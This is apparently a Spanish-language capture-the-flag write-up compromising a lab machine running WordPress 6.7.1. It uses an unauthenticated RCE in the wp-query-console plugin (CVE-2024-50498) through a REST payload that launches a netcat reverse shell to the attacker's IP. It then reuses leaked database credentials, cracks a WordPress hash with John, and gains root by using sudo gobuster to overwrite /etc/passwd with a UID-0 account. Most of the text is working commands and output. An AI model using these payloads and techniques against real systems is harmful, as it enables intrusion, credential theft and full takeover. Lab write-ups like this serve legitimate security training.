Enumeración de servicios
El objetivo expone SSH y un WordPress 6.7.1 sobre nginx. Sin credenciales iniciales para SSH, orientamos la enumeración hacia plugins instalados:
❯ nmap -sCV -p 22,80 -oN 02-targeted.txt 192.168.1.5
...
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u4 (protocol 2.0)
80/tcp open http nginx 1.14.2
|_http-generator: WordPress 6.7.1
|_http-title: bammmmuwe
...Identificación de WP Query Console
WPScan en modo agresivo descubre wp-query-console 1.0. La versión exacta es importante porque el plugin contiene un endpoint REST que procesa argumentos de consulta inseguros:
❯ wpscan --url http://192.168.1.5 --plugins-detection aggressive -t 50
...
[+] wp-query-console
| Version: 1.0 ...
...Explotación de WP Query Console
El plugin está afectado por CVE-2024-50498, una ejecución remota de código sin autenticación. Enviamos una petición JSON al endpoint /wp-json/wqc/v1/query; queryArgs contiene la llamada PHP que inicia la conexión de retorno:
POST /wp-json/wqc/v1/query HTTP/1.1
Host: kubernetes.docker.internal
Content-Type: application/json
{"queryArgs":"shell_exec('nc 192.168.1.9 1234 -e /bin/bash');","queryType":"post"}❯ ncat -nlvp 1234
Ncat: Connection from 192.168.1.5:52716.
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)Credential Disclosure y movimiento a welcome
La salida de id confirma una shell como www-data. wp-config.php expone las credenciales de la base de datos de WordPress; las usamos únicamente en MySQL y consultamos wp_users para obtener el hash asociado a welcome:
www-data@listen:/home$ mysql -D wordpress -u ll104567 -p
Enter password: thehandsomeguy
...
MariaDB [wordpress]> select * from wp_users;
...
| 2 | welcome | $P$BtP9ZghJTwDfSn1gKKc.k3mq4Vo.Ko/ | ...John recupera 104567. La validación mediante su welcome demuestra que la contraseña de WordPress ha sido reutilizada por la cuenta local:
❯ echo 'welcome:$P$BtP9ZghJTwDfSn1gKKc.k3mq4Vo.Ko/' > hash
❯ john -w=/home/wh01s17/Documentos/wordlists/rockyou.txt hash
...
104567 (welcome)
...
www-data@listen:/home$ su welcome
Password: 104567
welcomeLa nueva identidad permite recuperar la primera flag. sudo -l muestra que welcome puede ejecutar Gobuster como cualquier usuario:
welcome@listen:/tmp$ sudo -l
...
User welcome may run the following commands on listen:
(ALL) NOPASSWD: /usr/bin/gobusterArbitrary File Write mediante sudo gobuster
La regla es otro Sudo-Allowed Program Abuse. Gobuster escribe con -o las rutas que reciben un código aceptado. Controlamos la única palabra de la lista y un servidor Flask que responde 200, por lo que la salida generada contiene nuestra entrada de usuario. Al indicar /etc/passwd como destino, la utilidad lo abre como root y produce un Arbitrary File Write:
❯ cat server.py
from flask import Flask, Response
app = Flask(__name__)
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def catch_all(path):
if len(path) == 36:
return Response(status=404)
else:
return Response(status=200)
if __name__ == '__main__':
app.run(host="0.0.0.0", port=80)❯ perl -e 'print crypt("1234","aa")'
aatxRPdZ/m52.
welcome@listen:/tmp$ echo 'pwned:aatxRPdZ/m52.:0:0:x:/root:/bin/bash' > pwned.txt
welcome@listen:/tmp$ sudo /usr/bin/gobuster -w pwned.txt -u http://192.168.1.9 -n -q -o /etc/passwd
/pwned:aatxRPdZ/m52.:0:0:x:/root:/bin/bashLa entrada usa UID y GID 0; el prefijo / añadido por Gobuster también pasa a formar parte del nombre, por eso la autenticación se realiza como /pwned:
welcome@listen:/tmp$ su /pwned
Password: 1234
/pwned@listen:/tmp#El prompt resultante confirma una sesión con identidad privilegiada, desde donde recuperamos la flag final.